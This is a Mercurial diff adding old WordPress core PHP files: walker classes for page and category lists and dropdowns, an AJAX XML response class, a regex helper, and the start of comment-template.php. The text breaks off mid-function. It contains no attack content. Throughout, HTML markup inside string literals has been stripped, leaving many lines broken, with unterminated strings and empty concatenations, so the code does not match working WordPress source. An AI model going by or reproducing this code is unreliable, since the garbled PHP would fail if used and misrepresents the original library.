  • \n"; + } + +} + +/** + * Create HTML dropdown list of pages. + * + * @package WordPress + * @since 2.1.0 + * @uses Walker + */ +class Walker_PageDropdown extends Walker { + /** + * @see Walker::$tree_type + * @since 2.1.0 + * @var string + */ + var $tree_type = 'page'; + + /** + * @see Walker::$db_fields + * @since 2.1.0 + * @todo Decouple this + * @var array + */ + var $db_fields = array ('parent' => 'post_parent', 'id' => 'ID'); + + /** + * @see Walker::start_el() + * @since 2.1.0 + * + * @param string $output Passed by reference. Used to append additional content. + * @param object $page Page data object. + * @param int $depth Depth of page in reference to parent pages. Used for padding. + * @param array $args Uses 'selected' argument for selected page to set selected HTML attribute for option element. + */ + function start_el(&$output, $page, $depth, $args) { + $pad = str_repeat(' ', $depth * 3); + + $output .= "\t\n"; + } +} + +/** + * Create HTML list of categories. + * + * @package WordPress + * @since 2.1.0 + * @uses Walker + */ +class Walker_Category extends Walker { + /** + * @see Walker::$tree_type + * @since 2.1.0 + * @var string + */ + var $tree_type = 'category'; + + /** + * @see Walker::$db_fields + * @since 2.1.0 + * @todo Decouple this + * @var array + */ + var $db_fields = array ('parent' => 'parent', 'id' => 'term_id'); + + /** + * @see Walker::start_lvl() + * @since 2.1.0 + * + * @param string $output Passed by reference. Used to append additional content. + * @param int $depth Depth of category. Used for tab indentation. + * @param array $args Will only append content if style argument value is 'list'. + */ + function start_lvl(&$output, $depth, $args) { + if ( 'list' != $args['style'] ) + return; + + $indent = str_repeat("\t", $depth); + $output .= "$indent
      \n"; + } + + /** + * @see Walker::end_lvl() + * @since 2.1.0 + * + * @param string $output Passed by reference. Used to append additional content. + * @param int $depth Depth of category. Used for tab indentation. + * @param array $args Will only append content if style argument value is 'list'. + */ + function end_lvl(&$output, $depth, $args) { + if ( 'list' != $args['style'] ) + return; + + $indent = str_repeat("\t", $depth); + $output .= "$indent
    \n"; + } + + /** + * @see Walker::start_el() + * @since 2.1.0 + * + * @param string $output Passed by reference. Used to append additional content. + * @param object $category Category data object. + * @param int $depth Depth of category in reference to parents. + * @param array $args + */ + function start_el(&$output, $category, $depth, $args) { + extract($args); + + $cat_name = esc_attr( $category->name); + $cat_name = apply_filters( 'list_cats', $cat_name, $category ); + $link = 'description) ) + $link .= 'title="' . sprintf(__( 'View all posts filed under %s' ), $cat_name) . '"'; + else + $link .= 'title="' . esc_attr( strip_tags( apply_filters( 'category_description', $category->description, $category ) ) ) . '"'; + $link .= '>'; + $link .= $cat_name . ''; + + if ( (! empty($feed_image)) || (! empty($feed)) ) { + $link .= ' '; + + if ( empty($feed_image) ) + $link .= '('; + + $link .= ''; + $link .= ''; + if ( empty($feed_image) ) + $link .= ')'; + } + + if ( isset($show_count) && $show_count ) + $link .= ' (' . intval($category->count) . ')'; + + if ( isset($show_date) && $show_date ) { + $link .= ' ' . gmdate('Y-m-d', $category->last_update_timestamp); + } + + if ( isset($current_category) && $current_category ) + $_current_category = get_category( $current_category ); + + if ( 'list' == $args['style'] ) { + $output .= "\tterm_id; + if ( isset($current_category) && $current_category && ($category->term_id == $current_category) ) + $class .= ' current-cat'; + elseif ( isset($_current_category) && $_current_category && ($category->term_id == $_current_category->parent) ) + $class .= ' current-cat-parent'; + $output .= ' class="'.$class.'"'; + $output .= ">$link\n"; + } else { + $output .= "\t$link
    \n"; + } + } + + /** + * @see Walker::end_el() + * @since 2.1.0 + * + * @param string $output Passed by reference. Used to append additional content. + * @param object $page Not used. + * @param int $depth Depth of category. Not used. + * @param array $args Only uses 'list' for whether should append to output. + */ + function end_el(&$output, $page, $depth, $args) { + if ( 'list' != $args['style'] ) + return; + + $output .= "\n"; + } + +} + +/** + * Create HTML dropdown list of Categories. + * + * @package WordPress + * @since 2.1.0 + * @uses Walker + */ +class Walker_CategoryDropdown extends Walker { + /** + * @see Walker::$tree_type + * @since 2.1.0 + * @var string + */ + var $tree_type = 'category'; + + /** + * @see Walker::$db_fields + * @since 2.1.0 + * @todo Decouple this + * @var array + */ + var $db_fields = array ('parent' => 'parent', 'id' => 'term_id'); + + /** + * @see Walker::start_el() + * @since 2.1.0 + * + * @param string $output Passed by reference. Used to append additional content. + * @param object $category Category data object. + * @param int $depth Depth of category. Used for padding. + * @param array $args Uses 'selected', 'show_count', and 'show_last_update' keys, if they exist. + */ + function start_el(&$output, $category, $depth, $args) { + $pad = str_repeat(' ', $depth * 3); + + $cat_name = apply_filters('list_cats', $category->name, $category); + $output .= "\t\n"; + } +} + +/** + * Send XML response back to AJAX request. + * + * @package WordPress + * @since 2.1.0 + */ +class WP_Ajax_Response { + /** + * Store XML responses to send. + * + * @since 2.1.0 + * @var array + * @access private + */ + var $responses = array(); + + /** + * PHP4 Constructor - Passes args to {@link WP_Ajax_Response::add()}. + * + * @since 2.1.0 + * @see WP_Ajax_Response::add() + * + * @param string|array $args Optional. Will be passed to add() method. + * @return WP_Ajax_Response + */ + function WP_Ajax_Response( $args = '' ) { + if ( !empty($args) ) + $this->add($args); + } + + /** + * Append to XML response based on given arguments. + * + * The arguments that can be passed in the $args parameter are below. It is + * also possible to pass a WP_Error object in either the 'id' or 'data' + * argument. The parameter isn't actually optional, content should be given + * in order to send the correct response. + * + * 'what' argument is a string that is the XMLRPC response type. + * 'action' argument is a boolean or string that acts like a nonce. + * 'id' argument can be WP_Error or an integer. + * 'old_id' argument is false by default or an integer of the previous ID. + * 'position' argument is an integer or a string with -1 = top, 1 = bottom, + * html ID = after, -html ID = before. + * 'data' argument is a string with the content or message. + * 'supplemental' argument is an array of strings that will be children of + * the supplemental element. + * + * @since 2.1.0 + * + * @param string|array $args Override defaults. + * @return string XML response. + */ + function add( $args = '' ) { + $defaults = array( + 'what' => 'object', 'action' => false, + 'id' => '0', 'old_id' => false, + 'position' => 1, + 'data' => '', 'supplemental' => array() + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + $position = preg_replace( '/[^a-z0-9:_-]/i', '', $position ); + + if ( is_wp_error($id) ) { + $data = $id; + $id = 0; + } + + $response = ''; + if ( is_wp_error($data) ) { + foreach ( (array) $data->get_error_codes() as $code ) { + $response .= "get_error_message($code) . "]]>"; + if ( !$error_data = $data->get_error_data($code) ) + continue; + $class = ''; + if ( is_object($error_data) ) { + $class = ' class="' . get_class($error_data) . '"'; + $error_data = get_object_vars($error_data); + } + + $response .= ""; + + if ( is_scalar($error_data) ) { + $response .= ""; + } elseif ( is_array($error_data) ) { + foreach ( $error_data as $k => $v ) + $response .= "<$k>"; + } + + $response .= ""; + } + } else { + $response = ""; + } + + $s = ''; + if ( is_array($supplemental) ) { + foreach ( $supplemental as $k => $v ) + $s .= "<$k>"; + $s = "$s"; + } + + if ( false === $action ) + $action = $_POST['action']; + + $x = ''; + $x .= ""; // The action attribute in the xml output is formatted like a nonce action + $x .= "<$what id='$id' " . ( false === $old_id ? '' : "old_id='$old_id' " ) . "position='$position'>"; + $x .= $response; + $x .= $s; + $x .= ""; + $x .= ""; + + $this->responses[] = $x; + return $x; + } + + /** + * Display XML formatted responses. + * + * Sets the content type header to text/xml. + * + * @since 2.1.0 + */ + function send() { + header('Content-Type: text/xml'); + echo ""; + foreach ( (array) $this->responses as $response ) + echo $response; + echo ''; + die(); + } +} + +/** + * Helper class to remove the need to use eval to replace $matches[] in query strings. + * + * @since 2.9.0 + */ +class WP_MatchesMapRegex { + /** + * store for matches + * + * @access private + * @var array + */ + var $_matches; + + /** + * store for mapping result + * + * @access public + * @var string + */ + var $output; + + /** + * subject to perform mapping on (query string containing $matches[] references + * + * @access private + * @var string + */ + var $_subject; + + /** + * regexp pattern to match $matches[] references + * + * @var string + */ + var $_pattern = '(\$matches\[[1-9]+[0-9]*\])'; // magic number + + /** + * constructor + * + * @param string $subject subject if regex + * @param array $matches data to use in map + * @return self + */ + function WP_MatchesMapRegex($subject, $matches) { + $this->_subject = $subject; + $this->_matches = $matches; + $this->output = $this->_map(); + } + + /** + * Substitute substring matches in subject. + * + * static helper function to ease use + * + * @access public + * @param string $subject subject + * @param array $matches data used for subsitution + * @return string + */ + function apply($subject, $matches) { + $oSelf =& new WP_MatchesMapRegex($subject, $matches); + return $oSelf->output; + } + + /** + * do the actual mapping + * + * @access private + * @return string + */ + function _map() { + $callback = array(&$this, 'callback'); + return preg_replace_callback($this->_pattern, $callback, $this->_subject); + } + + /** + * preg_replace_callback hook + * + * @access public + * @param array $matches preg_replace regexp matches + * @return string + */ + function callback($matches) { + $index = intval(substr($matches[0], 9, -1)); + return ( isset( $this->_matches[$index] ) ? $this->_matches[$index] : '' ); + } + +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/comment-template.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/comment-template.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1399 @@ +comment_author) ) { + if (!empty($comment->user_id)){ + $user=get_userdata($comment->user_id); + $author=$user->user_login; + } else { + $author = __('Anonymous'); + } + } else { + $author = $comment->comment_author; + } + return apply_filters('get_comment_author', $author); +} + +/** + * Displays the author of the current comment. + * + * @since 0.71 + * @uses apply_filters() Calls 'comment_author' on comment author before displaying + */ +function comment_author() { + $author = apply_filters('comment_author', get_comment_author() ); + echo $author; +} + +/** + * Retrieve the email of the author of the current comment. + * + * @since 1.5.0 + * @uses apply_filters() Calls the 'get_comment_author_email' hook on the comment author email + * @uses $comment + * + * @return string The current comment author's email + */ +function get_comment_author_email() { + global $comment; + return apply_filters('get_comment_author_email', $comment->comment_author_email); +} + +/** + * Display the email of the author of the current global $comment. + * + * Care should be taken to protect the email address and assure that email + * harvesters do not capture your commentors' email address. Most assume that + * their email address will not appear in raw form on the blog. Doing so will + * enable anyone, including those that people don't want to get the email + * address and use it for their own means good and bad. + * + * @since 0.71 + * @uses apply_filters() Calls 'author_email' hook on the author email + */ +function comment_author_email() { + echo apply_filters('author_email', get_comment_author_email() ); +} + +/** + * Display the html email link to the author of the current comment. + * + * Care should be taken to protect the email address and assure that email + * harvesters do not capture your commentors' email address. Most assume that + * their email address will not appear in raw form on the blog. Doing so will + * enable anyone, including those that people don't want to get the email + * address and use it for their own means good and bad. + * + * @since 0.71 + * @uses apply_filters() Calls 'comment_email' hook for the display of the comment author's email + * @uses get_comment_author_email_link() For generating the link + * @global object $comment The current Comment row object + * + * @param string $linktext The text to display instead of the comment author's email address + * @param string $before The text or HTML to display before the email link. + * @param string $after The text or HTML to display after the email link. + */ +function comment_author_email_link($linktext='', $before='', $after='') { + if ( $link = get_comment_author_email_link( $linktext, $before, $after ) ) + echo $link; +} + +/** + * Return the html email link to the author of the current comment. + * + * Care should be taken to protect the email address and assure that email + * harvesters do not capture your commentors' email address. Most assume that + * their email address will not appear in raw form on the blog. Doing so will + * enable anyone, including those that people don't want to get the email + * address and use it for their own means good and bad. + * + * @since 2.7 + * @uses apply_filters() Calls 'comment_email' hook for the display of the comment author's email + * @global object $comment The current Comment row object + * + * @param string $linktext The text to display instead of the comment author's email address + * @param string $before The text or HTML to display before the email link. + * @param string $after The text or HTML to display after the email link. + */ +function get_comment_author_email_link($linktext='', $before='', $after='') { + global $comment; + $email = apply_filters('comment_email', $comment->comment_author_email); + if ((!empty($email)) && ($email != '@')) { + $display = ($linktext != '') ? $linktext : $email; + $return = $before; + $return .= "$display"; + $return .= $after; + return $return; + } else { + return ''; + } +} + +/** + * Retrieve the html link to the url of the author of the current comment. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'get_comment_author_link' hook on the complete link HTML or author + * + * @return string Comment Author name or HTML link for author's URL + */ +function get_comment_author_link() { + /** @todo Only call these functions when they are needed. Include in if... else blocks */ + $url = get_comment_author_url(); + $author = get_comment_author(); + + if ( empty( $url ) || 'http://' == $url ) + $return = $author; + else + $return = "$author"; + return apply_filters('get_comment_author_link', $return); +} + +/** + * Display the html link to the url of the author of the current comment. + * + * @since 0.71 + * @see get_comment_author_link() Echos result + */ +function comment_author_link() { + echo get_comment_author_link(); +} + +/** + * Retrieve the IP address of the author of the current comment. + * + * @since 1.5.0 + * @uses $comment + * @uses apply_filters() + * + * @return unknown + */ +function get_comment_author_IP() { + global $comment; + return apply_filters('get_comment_author_IP', $comment->comment_author_IP); +} + +/** + * Display the IP address of the author of the current comment. + * + * @since 0.71 + * @see get_comment_author_IP() Echos Result + */ +function comment_author_IP() { + echo get_comment_author_IP(); +} + +/** + * Retrieve the url of the author of the current comment. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'get_comment_author_url' hook on the comment author's URL + * + * @return string + */ +function get_comment_author_url() { + global $comment; + $url = ('http://' == $comment->comment_author_url) ? '' : $comment->comment_author_url; + $url = esc_url( $url, array('http', 'https') ); + return apply_filters('get_comment_author_url', $url); +} + +/** + * Display the url of the author of the current comment. + * + * @since 0.71 + * @uses apply_filters() + * @uses get_comment_author_url() Retrieves the comment author's URL + */ +function comment_author_url() { + echo apply_filters('comment_url', get_comment_author_url()); +} + +/** + * Retrieves the HTML link of the url of the author of the current comment. + * + * $linktext parameter is only used if the URL does not exist for the comment + * author. If the URL does exist then the URL will be used and the $linktext + * will be ignored. + * + * Encapsulate the HTML link between the $before and $after. So it will appear + * in the order of $before, link, and finally $after. + * + * @since 1.5.0 + * @uses apply_filters() Calls the 'get_comment_author_url_link' on the complete HTML before returning. + * + * @param string $linktext The text to display instead of the comment author's email address + * @param string $before The text or HTML to display before the email link. + * @param string $after The text or HTML to display after the email link. + * @return string The HTML link between the $before and $after parameters + */ +function get_comment_author_url_link( $linktext = '', $before = '', $after = '' ) { + $url = get_comment_author_url(); + $display = ($linktext != '') ? $linktext : $url; + $display = str_replace( 'http://www.', '', $display ); + $display = str_replace( 'http://', '', $display ); + if ( '/' == substr($display, -1) ) + $display = substr($display, 0, -1); + $return = "$before$display$after"; + return apply_filters('get_comment_author_url_link', $return); +} + +/** + * Displays the HTML link of the url of the author of the current comment. + * + * @since 0.71 + * @see get_comment_author_url_link() Echos result + * + * @param string $linktext The text to display instead of the comment author's email address + * @param string $before The text or HTML to display before the email link. + * @param string $after The text or HTML to display after the email link. + */ +function comment_author_url_link( $linktext = '', $before = '', $after = '' ) { + echo get_comment_author_url_link( $linktext, $before, $after ); +} + +/** + * Generates semantic classes for each comment element + * + * @since 2.7.0 + * + * @param string|array $class One or more classes to add to the class list + * @param int $comment_id An optional comment ID + * @param int $post_id An optional post ID + * @param bool $echo Whether comment_class should echo or return + */ +function comment_class( $class = '', $comment_id = null, $post_id = null, $echo = true ) { + // Separates classes with a single space, collates classes for comment DIV + $class = 'class="' . join( ' ', get_comment_class( $class, $comment_id, $post_id ) ) . '"'; + if ( $echo) + echo $class; + else + return $class; +} + +/** + * Returns the classes for the comment div as an array + * + * @since 2.7.0 + * + * @param string|array $class One or more classes to add to the class list + * @param int $comment_id An optional comment ID + * @param int $post_id An optional post ID + * @return array Array of classes + */ +function get_comment_class( $class = '', $comment_id = null, $post_id = null ) { + global $comment_alt, $comment_depth, $comment_thread_alt; + + $comment = get_comment($comment_id); + + $classes = array(); + + // Get the comment type (comment, trackback), + $classes[] = ( empty( $comment->comment_type ) ) ? 'comment' : $comment->comment_type; + + // If the comment author has an id (registered), then print the log in name + if ( $comment->user_id > 0 && $user = get_userdata($comment->user_id) ) { + // For all registered users, 'byuser' + $classes[] = 'byuser'; + $classes[] = 'comment-author-' . sanitize_html_class($user->user_nicename, $comment->user_id); + // For comment authors who are the author of the post + if ( $post = get_post($post_id) ) { + if ( $comment->user_id === $post->post_author ) + $classes[] = 'bypostauthor'; + } + } + + if ( empty($comment_alt) ) + $comment_alt = 0; + if ( empty($comment_depth) ) + $comment_depth = 1; + if ( empty($comment_thread_alt) ) + $comment_thread_alt = 0; + + if ( $comment_alt % 2 ) { + $classes[] = 'odd'; + $classes[] = 'alt'; + } else { + $classes[] = 'even'; + } + + $comment_alt++; + + // Alt for top-level comments + if ( 1 == $comment_depth ) { + if ( $comment_thread_alt % 2 ) { + $classes[] = 'thread-odd'; + $classes[] = 'thread-alt'; + } else { + $classes[] = 'thread-even'; + } + $comment_thread_alt++; + } + + $classes[] = "depth-$comment_depth"; + + if ( !empty($class) ) { + if ( !is_array( $class ) ) + $class = preg_split('#\s+#', $class); + $classes = array_merge($classes, $class); + } + + $classes = array_map('esc_attr', $classes); + + return apply_filters('comment_class', $classes, $class, $comment_id, $post_id); +} + +/** + * Retrieve the comment date of the current comment. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'get_comment_date' hook with the formated date and the $d parameter respectively + * @uses $comment + * + * @param string $d The format of the date (defaults to user's config) + * @return string The comment's date + */ +function get_comment_date( $d = '' ) { + global $comment; + if ( '' == $d ) + $date = mysql2date(get_option('date_format'), $comment->comment_date); + else + $date = mysql2date($d, $comment->comment_date); + return apply_filters('get_comment_date', $date, $d); +} + +/** + * Display the comment date of the current comment. + * + * @since 0.71 + * + * @param string $d The format of the date (defaults to user's config) + */ +function comment_date( $d = '' ) { + echo get_comment_date( $d ); +} + +/** + * Retrieve the excerpt of the current comment. + * + * Will cut each word and only output the first 20 words with '...' at the end. + * If the word count is less than 20, then no truncating is done and no '...' + * will appear. + * + * @since 1.5.0 + * @uses $comment + * @uses apply_filters() Calls 'get_comment_excerpt' on truncated comment + * + * @return string The maybe truncated comment with 20 words or less + */ +function get_comment_excerpt() { + global $comment; + $comment_text = strip_tags($comment->comment_content); + $blah = explode(' ', $comment_text); + if (count($blah) > 20) { + $k = 20; + $use_dotdotdot = 1; + } else { + $k = count($blah); + $use_dotdotdot = 0; + } + $excerpt = ''; + for ($i=0; $i<$k; $i++) { + $excerpt .= $blah[$i] . ' '; + } + $excerpt .= ($use_dotdotdot) ? '...' : ''; + return apply_filters('get_comment_excerpt', $excerpt); +} + +/** + * Display the excerpt of the current comment. + * + * @since 1.2.0 + * @uses apply_filters() Calls 'comment_excerpt' hook before displaying excerpt + */ +function comment_excerpt() { + echo apply_filters('comment_excerpt', get_comment_excerpt() ); +} + +/** + * Retrieve the comment id of the current comment. + * + * @since 1.5.0 + * @uses $comment + * @uses apply_filters() Calls the 'get_comment_ID' hook for the comment ID + * + * @return int The comment ID + */ +function get_comment_ID() { + global $comment; + return apply_filters('get_comment_ID', $comment->comment_ID); +} + +/** + * Displays the comment id of the current comment. + * + * @since 0.71 + * @see get_comment_ID() Echos Result + */ +function comment_ID() { + echo get_comment_ID(); +} + +/** + * Retrieve the link to a given comment. + * + * @since 1.5.0 + * @uses $comment + * + * @param object|string|int $comment Comment to retrieve. + * @param array $args Optional args. + * @return string The permalink to the given comment. + */ +function get_comment_link( $comment = null, $args = array() ) { + global $wp_rewrite, $in_comment_loop; + + $comment = get_comment($comment); + + // Backwards compat + if ( !is_array($args) ) { + $page = $args; + $args = array(); + $args['page'] = $page; + } + + $defaults = array( 'type' => 'all', 'page' => '', 'per_page' => '', 'max_depth' => '' ); + $args = wp_parse_args( $args, $defaults ); + + if ( '' === $args['per_page'] && get_option('page_comments') ) + $args['per_page'] = get_option('comments_per_page'); + + if ( empty($args['per_page']) ) { + $args['per_page'] = 0; + $args['page'] = 0; + } + + if ( $args['per_page'] ) { + if ( '' == $args['page'] ) + $args['page'] = ( !empty($in_comment_loop) ) ? get_query_var('cpage') : get_page_of_comment( $comment->comment_ID, $args ); + + if ( $wp_rewrite->using_permalinks() ) + $link = user_trailingslashit( trailingslashit( get_permalink( $comment->comment_post_ID ) ) . 'comment-page-' . $args['page'], 'comment' ); + else + $link = add_query_arg( 'cpage', $args['page'], get_permalink( $comment->comment_post_ID ) ); + } else { + $link = get_permalink( $comment->comment_post_ID ); + } + + return apply_filters( 'get_comment_link', $link . '#comment-' . $comment->comment_ID, $comment, $args ); +} + +/** + * Retrieves the link to the current post comments. + * + * @since 1.5.0 + * + * @return string The link to the comments + */ +function get_comments_link() { + return get_permalink() . '#comments'; +} + +/** + * Displays the link to the current post comments. + * + * @since 0.71 + * + * @param string $deprecated Not Used + * @param bool $deprecated Not Used + */ +function comments_link( $deprecated = '', $deprecated = '' ) { + echo get_comments_link(); +} + +/** + * Retrieve the amount of comments a post has. + * + * @since 1.5.0 + * @uses apply_filters() Calls the 'get_comments_number' hook on the number of comments + * + * @param int $post_id The Post ID + * @return int The number of comments a post has + */ +function get_comments_number( $post_id = 0 ) { + global $id; + $post_id = (int) $post_id; + + if ( !$post_id ) + $post_id = (int) $id; + + $post = get_post($post_id); + if ( ! isset($post->comment_count) ) + $count = 0; + else + $count = $post->comment_count; + + return apply_filters('get_comments_number', $count, $post_id); +} + +/** + * Display the language string for the number of comments the current post has. + * + * @since 0.71 + * @uses $id + * @uses apply_filters() Calls the 'comments_number' hook on the output and number of comments respectively. + * + * @param string $zero Text for no comments + * @param string $one Text for one comment + * @param string $more Text for more than one comment + * @param string $deprecated Not used. + */ +function comments_number( $zero = false, $one = false, $more = false, $deprecated = '' ) { + global $id; + $number = get_comments_number($id); + + if ( $number > 1 ) + $output = str_replace('%', number_format_i18n($number), ( false === $more ) ? __('% Comments') : $more); + elseif ( $number == 0 ) + $output = ( false === $zero ) ? __('No Comments') : $zero; + else // must be one + $output = ( false === $one ) ? __('1 Comment') : $one; + + echo apply_filters('comments_number', $output, $number); +} + +/** + * Retrieve the text of the current comment. + * + * @since 1.5.0 + * @uses $comment + * + * @return string The comment content + */ +function get_comment_text() { + global $comment; + return apply_filters('get_comment_text', $comment->comment_content); +} + +/** + * Displays the text of the current comment. + * + * @since 0.71 + * @uses apply_filters() Passes the comment content through the 'comment_text' hook before display + * @uses get_comment_text() Gets the comment content + */ +function comment_text() { + echo apply_filters('comment_text', get_comment_text() ); +} + +/** + * Retrieve the comment time of the current comment. + * + * @since 1.5.0 + * @uses $comment + * @uses apply_filter() Calls 'get_comment_time' hook with the formatted time, the $d parameter, and $gmt parameter passed. + * + * @param string $d Optional. The format of the time (defaults to user's config) + * @param bool $gmt Whether to use the GMT date + * @param bool $translate Whether to translate the time (for use in feeds) + * @return string The formatted time + */ +function get_comment_time( $d = '', $gmt = false, $translate = true ) { + global $comment; + $comment_date = $gmt ? $comment->comment_date_gmt : $comment->comment_date; + if ( '' == $d ) + $date = mysql2date(get_option('time_format'), $comment_date, $translate); + else + $date = mysql2date($d, $comment_date, $translate); + return apply_filters('get_comment_time', $date, $d, $gmt, $translate); +} + +/** + * Display the comment time of the current comment. + * + * @since 0.71 + * + * @param string $d Optional. The format of the time (defaults to user's config) + */ +function comment_time( $d = '' ) { + echo get_comment_time($d); +} + +/** + * Retrieve the comment type of the current comment. + * + * @since 1.5.0 + * @uses $comment + * @uses apply_filters() Calls the 'get_comment_type' hook on the comment type + * + * @return string The comment type + */ +function get_comment_type() { + global $comment; + + if ( '' == $comment->comment_type ) + $comment->comment_type = 'comment'; + + return apply_filters('get_comment_type', $comment->comment_type); +} + +/** + * Display the comment type of the current comment. + * + * @since 0.71 + * + * @param string $commenttxt The string to display for comment type + * @param string $trackbacktxt The string to display for trackback type + * @param string $pingbacktxt The string to display for pingback type + */ +function comment_type($commenttxt = false, $trackbacktxt = false, $pingbacktxt = false) { + if ( false === $commenttxt ) $commenttxt = _x( 'Comment', 'noun' ); + if ( false === $trackbacktxt ) $trackbacktxt = __( 'Trackback' ); + if ( false === $pingbacktxt ) $pingbacktxt = __( 'Pingback' ); + $type = get_comment_type(); + switch( $type ) { + case 'trackback' : + echo $trackbacktxt; + break; + case 'pingback' : + echo $pingbacktxt; + break; + default : + echo $commenttxt; + } +} + +/** + * Retrieve The current post's trackback URL. + * + * There is a check to see if permalink's have been enabled and if so, will + * retrieve the pretty path. If permalinks weren't enabled, the ID of the + * current post is used and appended to the correct page to go to. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'trackback_url' on the resulting trackback URL + * @uses $id + * + * @return string The trackback URL after being filtered + */ +function get_trackback_url() { + global $id; + if ( '' != get_option('permalink_structure') ) { + $tb_url = trailingslashit(get_permalink()) . user_trailingslashit('trackback', 'single_trackback'); + } else { + $tb_url = get_option('siteurl') . '/wp-trackback.php?p=' . $id; + } + return apply_filters('trackback_url', $tb_url); +} + +/** + * Displays the current post's trackback URL. + * + * @since 0.71 + * @uses get_trackback_url() Gets the trackback url for the current post + * + * @param bool $deprecated Remove backwards compat in 2.5 + * @return void|string Should only be used to echo the trackback URL, use get_trackback_url() for the result instead. + */ +function trackback_url($deprecated = true) { + if ($deprecated) echo get_trackback_url(); + else return get_trackback_url(); +} + +/** + * Generates and displays the RDF for the trackback information of current post. + * + * @since 0.71 + * + * @param int $deprecated Not used (Was $timezone = 0) + */ +function trackback_rdf($deprecated = '') { + if (stripos($_SERVER['HTTP_USER_AGENT'], 'W3C_Validator') === false) { + echo ' + \n"; + echo ''; + } +} + +/** + * Whether the current post is open for comments. + * + * @since 1.5.0 + * @uses $post + * + * @param int $post_id An optional post ID to check instead of the current post. + * @return bool True if the comments are open + */ +function comments_open( $post_id=NULL ) { + + $_post = get_post($post_id); + + $open = ( 'open' == $_post->comment_status ); + return apply_filters( 'comments_open', $open, $post_id ); +} + +/** + * Whether the current post is open for pings. + * + * @since 1.5.0 + * @uses $post + * + * @param int $post_id An optional post ID to check instead of the current post. + * @return bool True if pings are accepted + */ +function pings_open( $post_id = NULL ) { + + $_post = get_post($post_id); + + $open = ( 'open' == $_post->ping_status ); + return apply_filters( 'pings_open', $open, $post_id ); +} + +/** + * Displays form token for unfiltered comments. + * + * Will only display nonce token if the current user has permissions for + * unfiltered html. Won't display the token for other users. + * + * The function was backported to 2.0.10 and was added to versions 2.1.3 and + * above. Does not exist in versions prior to 2.0.10 in the 2.0 branch and in + * the 2.1 branch, prior to 2.1.3. Technically added in 2.2.0. + * + * Backported to 2.0.10. + * + * @since 2.1.3 + * @uses $post Gets the ID of the current post for the token + */ +function wp_comment_form_unfiltered_html_nonce() { + global $post; + + $post_id = 0; + if ( !empty($post) ) + $post_id = $post->ID; + + if ( current_user_can('unfiltered_html') ) + wp_nonce_field('unfiltered-html-comment_' . $post_id, '_wp_unfiltered_html_comment', false); +} + +/** + * Loads the comment template specified in $file. + * + * Will not display the comments template if not on single post or page, or if + * the post does not have comments. + * + * Uses the WordPress database object to query for the comments. The comments + * are passed through the 'comments_array' filter hook with the list of comments + * and the post ID respectively. + * + * The $file path is passed through a filter hook called, 'comments_template' + * which includes the TEMPLATEPATH and $file combined. Tries the $filtered path + * first and if it fails it will require the default comment themplate from the + * default theme. If either does not exist, then the WordPress process will be + * halted. It is advised for that reason, that the default theme is not deleted. + * + * @since 1.5.0 + * @global array $comment List of comment objects for the current post + * @uses $wpdb + * @uses $id + * @uses $post + * @uses $withcomments Will not try to get the comments if the post has none. + * + * @param string $file Optional, default '/comments.php'. The file to load + * @param bool $separate_comments Optional, whether to separate the comments by comment type. Default is false. + * @return null Returns null if no comments appear + */ +function comments_template( $file = '/comments.php', $separate_comments = false ) { + global $wp_query, $withcomments, $post, $wpdb, $id, $comment, $user_login, $user_ID, $user_identity, $overridden_cpage; + + if ( !(is_single() || is_page() || $withcomments) || empty($post) ) + return; + + if ( empty($file) ) + $file = '/comments.php'; + + $req = get_option('require_name_email'); + + /** + * Comment author information fetched from the comment cookies. + * + * @uses wp_get_current_commenter() + */ + $commenter = wp_get_current_commenter(); + + /** + * The name of the current comment author escaped for use in attributes. + */ + $comment_author = $commenter['comment_author']; // Escaped by sanitize_comment_cookies() + + /** + * The email address of the current comment author escaped for use in attributes. + */ + $comment_author_email = $commenter['comment_author_email']; // Escaped by sanitize_comment_cookies() + + /** + * The url of the current comment author escaped for use in attributes. + */ + $comment_author_url = esc_url($commenter['comment_author_url']); + + /** @todo Use API instead of SELECTs. */ + if ( $user_ID) { + $comments = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND (comment_approved = '1' OR ( user_id = %d AND comment_approved = '0' ) ) ORDER BY comment_date_gmt", $post->ID, $user_ID)); + } else if ( empty($comment_author) ) { + $comments = get_comments( array('post_id' => $post->ID, 'status' => 'approve', 'order' => 'ASC') ); + } else { + $comments = $wpdb->get_results($wpdb->prepare("SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND ( comment_approved = '1' OR ( comment_author = %s AND comment_author_email = %s AND comment_approved = '0' ) ) ORDER BY comment_date_gmt", $post->ID, wp_specialchars_decode($comment_author,ENT_QUOTES), $comment_author_email)); + } + + // keep $comments for legacy's sake + $wp_query->comments = apply_filters( 'comments_array', $comments, $post->ID ); + $comments = &$wp_query->comments; + $wp_query->comment_count = count($wp_query->comments); + update_comment_cache($wp_query->comments); + + if ( $separate_comments ) { + $wp_query->comments_by_type = &separate_comments($comments); + $comments_by_type = &$wp_query->comments_by_type; + } + + $overridden_cpage = FALSE; + if ( '' == get_query_var('cpage') && get_option('page_comments') ) { + set_query_var( 'cpage', 'newest' == get_option('default_comments_page') ? get_comment_pages_count() : 1 ); + $overridden_cpage = TRUE; + } + + if ( !defined('COMMENTS_TEMPLATE') || !COMMENTS_TEMPLATE) + define('COMMENTS_TEMPLATE', true); + + $include = apply_filters('comments_template', STYLESHEETPATH . $file ); + if ( file_exists( $include ) ) + require( $include ); + elseif ( file_exists( TEMPLATEPATH . $file ) ) + require( TEMPLATEPATH . $file ); + else + require( get_theme_root() . '/default/comments.php'); +} + +/** + * Displays the JS popup script to show a comment. + * + * If the $file parameter is empty, then the home page is assumed. The defaults + * for the window are 400px by 400px. + * + * For the comment link popup to work, this function has to be called or the + * normal comment link will be assumed. + * + * @since 0.71 + * @global string $wpcommentspopupfile The URL to use for the popup window + * @global int $wpcommentsjavascript Whether to use JavaScript or not. Set when function is called + * + * @param int $width Optional. The width of the popup window + * @param int $height Optional. The height of the popup window + * @param string $file Optional. Sets the location of the popup window + */ +function comments_popup_script($width=400, $height=400, $file='') { + global $wpcommentspopupfile, 